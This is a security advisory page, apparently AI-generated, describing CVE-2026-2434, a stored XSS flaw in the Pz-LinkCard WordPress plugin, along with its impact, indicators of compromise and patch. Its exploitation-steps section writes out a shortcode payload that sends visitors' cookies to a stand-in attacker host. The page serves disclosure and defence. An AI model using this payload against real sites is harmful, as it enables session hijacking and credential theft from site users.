CVE-2026-2434
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-2434 is a Stored Cross-Site Scripting (XSS) vulnerability in the Pz-LinkCard plugin for WordPress, affecting all versions up to and including 2.5.8.1. The flaw exists in the handling of blogcard shortcode attributes due to insufficient input sanitization and output escaping. It was published on April 17, 2026, with a patch advisory released on April 18, 2026. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The root cause lies in the plugin's pz-linkcard.php file, specifically around lines 442 and 636, where attributes passed to the blogcard shortcode are neither properly sanitized on input nor escaped on output before being rendered in the page HTML. An authenticated attacker with at minimum Contributor-level access can craft a post or page containing a malicious blogcard shortcode with injected JavaScript, which is then persistently stored and executed in the browser of any user who views the affected page (GitHub Advisory, Wordfence).

Impact

Successful exploitation allows authenticated attackers to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors. This can lead to session hijacking, credential theft, malware distribution, defacement, and phishing attacks targeting site visitors. The scope is changed (S:C in CVSS), meaning the injected scripts can affect users and resources beyond the plugin's own security boundary, including site administrators (GitHub Advisory, Wordfence).

Exploitability

There is no known public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.01% (2nd percentile), indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the Contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (GitHub Advisory, Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Pz-LinkCard plugin at version 2.5.8.1 or earlier, using tools like WPScan or by inspecting publicly visible plugin metadata.
  2. Obtain Contributor access: Register or compromise an account with at least Contributor-level privileges on the target WordPress site.
  3. Craft malicious shortcode: Create a new post or page and insert a blogcard shortcode with a malicious attribute payload, e.g., [blogcard url="javascript:void(0)" title="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish or submit for review: Submit the post (Contributors can submit for review; Editors and above can publish directly), causing the malicious script to be stored in the WordPress database.
  5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (GitHub Advisory, Wordfence).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API containing blogcard shortcode attributes with encoded script tags or JavaScript URIs.
  • Database: WordPress wp_posts table entries containing [blogcard ...] shortcodes with suspicious attribute values including <script>, javascript:, onerror=, onload=, or Base64-encoded payloads.
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing blogcard shortcodes, potentially indicating cookie or credential exfiltration.
  • File System: Unexpected modifications to pz-linkcard.php or related plugin files that may indicate secondary tampering after initial XSS exploitation.

Mitigation and workarounds

Update the Pz-LinkCard plugin to version 2.5.9 or later, which contains the fix for insufficient input sanitization and output escaping. As an interim measure, restrict Contributor-level access to trusted users only, or temporarily disable the plugin if patching is not immediately possible. Site administrators should also audit existing posts and pages using the blogcard shortcode for any suspicious or unauthorized content (Wordfence, GitHub Advisory).

Community reactions

Wordfence, the vulnerability's assigner, included CVE-2026-2434 in its weekly WordPress vulnerability report for the period of April 13–19, 2026, as part of routine disclosure coverage (Wordfence Blog). No significant independent researcher commentary or broader media coverage has been identified for this vulnerability.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-19848MEDIUM6.5
  • wp-user-avatar
NoYesAug 21, 2026
CVE-2026-17559MEDIUM5.3
  • content-protector
NoYesAug 21, 2026
CVE-2026-16650MEDIUM5.3
  • charitable
NoYesAug 21, 2026
CVE-2026-15150MEDIUM5.3
  • mycred
NoYesAug 21, 2026
CVE-2026-18356LOW3.7
  • limit-login-attempts-reloaded
NoYesAug 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management